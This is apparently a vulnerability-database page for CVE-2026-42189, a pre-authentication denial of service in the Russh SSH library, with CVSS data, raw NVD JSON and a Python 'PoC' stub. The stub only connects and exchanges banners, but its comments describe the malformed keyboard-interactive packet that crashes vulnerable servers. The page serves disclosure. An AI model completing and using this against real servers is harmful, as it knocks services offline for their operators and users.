Security Vulnerability Report
中文
CVE-2026-42189 CVSS 7.5 HIGH

CVE-2026-42189

Published: 2026-05-08 20:16:31
Last Modified: 2026-05-11 16:17:31

Description

Russh is a Rust SSH client & server library. Prior to version 0.60.1, a pre-authentication denial-of-service vulnerability exists in the server's keyboard-interactive authentication handler. A malicious client can crash any russh-based server that implements keyboard-interactive auth (e.g., for 2FA/TOTP) with a single malformed packet, requiring no credentials. This issue has been patched in version 0.60.1.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Russh < 0.60.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-42189 (Russh Pre-auth DoS) # This script demonstrates the concept of sending a malformed packet # during the keyboard-interactive authentication phase. import socket import sys def send_exploit(target_ip, target_port): print(f"[*] Connecting to {target_ip}:{target_port}") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Receive SSH Banner banner = s.recv(1024) print(f"[+] Server Banner: {banner.decode().strip()}") # Send Client Banner s.send(b"SSH-2.0-PoC_Client\r\n") # Note: A full exploitation requires completing the SSH Key Exchange (KEX) # to establish an encrypted channel. Once encrypted, the attacker sends # a malformed SSH_MSG_USERAUTH_INFO_RESPONSE packet. # # Conceptual Malformed Packet Structure (post-KEX): # Byte Message Code: 60 (SSH_MSG_USERAUTH_INFO_REQUEST) # or 61 (SSH_MSG_USERAUTH_INFO_RESPONSE) # String Name (empty or malformed length) # String Instruction (empty or malformed length) # String Language Tag (empty) # Uint32 Num-prompts (malformed, e.g., very large integer) # # Sending this malformed structure triggers the panic in Russh < 0.60.1. # This script stops at the connection phase as a PoC stub. print("[*] Exploit packet would be sent here after Key Exchange.") print("[*] Server should crash if vulnerable.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <IP> <PORT>") sys.exit(1) send_exploit(sys.argv[1], int(sys.argv[2]))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42189", "sourceIdentifier": "[email protected]", "published": "2026-05-08T20:16:31.443", "lastModified": "2026-05-11T16:17:31.443", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Russh is a Rust SSH client & server library. Prior to version 0.60.1, a pre-authentication denial-of-service vulnerability exists in the server's keyboard-interactive authentication handler. A malicious client can crash any russh-based server that implements keyboard-interactive auth (e.g., for 2FA/TOTP) with a single malformed packet, requiring no credentials. This issue has been patched in version 0.60.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}, {"lang": "en", "value": "CWE-789"}]}], "references": [{"url": "https://github.com/Eugeny/russh/commit/6c3c80a9b6d60763d6227d60fa8310e57172a4d1", "source": "[email protected]"}, {"url": "https://github.com/Eugeny/russh/releases/tag/v0.60.1", "source": "[email protected]"}, {"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-f5v4-2wr6-hqmg", "source": "[email protected]"}, {"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-f5v4-2wr6-hqmg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}